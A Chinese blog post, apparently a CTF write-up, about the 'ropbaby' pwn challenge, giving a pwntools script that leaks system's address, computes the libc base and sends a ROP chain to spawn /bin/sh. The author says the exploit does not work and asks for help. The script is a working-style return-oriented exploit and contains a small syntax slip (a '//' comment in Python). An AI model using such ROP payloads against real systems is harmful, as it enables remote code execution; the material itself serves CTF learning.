美文网首页
无法提交的_ropbaby

无法提交的_ropbaby

作者: Zero_0_0 | 来源:发表于2019-04-21 23:49 被阅读0次

    总是提交不了,希望大牛指出

    检查安全机制
    图片.png
    2.分析
    1)获取libc地址
    2)获取libc函数的地址
    3)糯糯r0p缓冲堆栈
    4)出口
    

    可执行文件给的libc.so.6地址和ldd ropbaby查看的不一样,有些不明白,不知道程序执行的时候到底调用的是哪个libc文件

    #!/usr/bin/python
    from pwn import*
    
    p = process('./ropbaby')
    #p = remote("106.2.25.7","8004")
    
    libc_gadget_pop_ret_addr = 0x21102
    libc_bin_sh_addr =  0x18cd17   //libc.2.23.so
    #libc_bin_sh_addr =  181519   //libc.so.6
    libc_system_addr = 0x45390
    
    p.recvuntil(':')
    p.sendline('2')
    p.recvuntil('symbol:')
    p.sendline('system')
    p.recvuntil('Symbol system:')
    
    
    system_addr  = int(p.recvline(),16)
    print ("[+]system_addr:" +hex(system_addr))
    libc_addr = system_addr - libc_system_addr
    bin_sh_addr = libc_bin_sh_addr  + libc_addr
    print ("[+]/bin/sh:" + hex(bin_sh_addr))
    gadget_pop_ret_addr = libc_addr  +  libc_gadget_pop_ret_addr
    
    print ("[+]gadget_pop_ret_addr:" + hex(gadget_pop_ret_addr))
    
    payload = 'A'*8
    payload +=p64(gadget_pop_ret_addr)
    payload +=p64(bin_sh_addr)
    payload +=p64(system_addr)
    
    p.recvuntil(':')
    p.sendline('3')
    p.recvuntil('(max 1024):')
    p.sendline('32')
    p.sendline(payload)
    p.interactive()
    

    附加一个泄露system的数学公式

    libc_base = __libc_start_main_addr - __libc_start_main_offset
    system_addr = libc_base + system_offset
    

    相关文章

      网友评论

          本文标题:无法提交的_ropbaby

          本文链接:https://www.haomeiwen.com/subject/jykjgqtx.html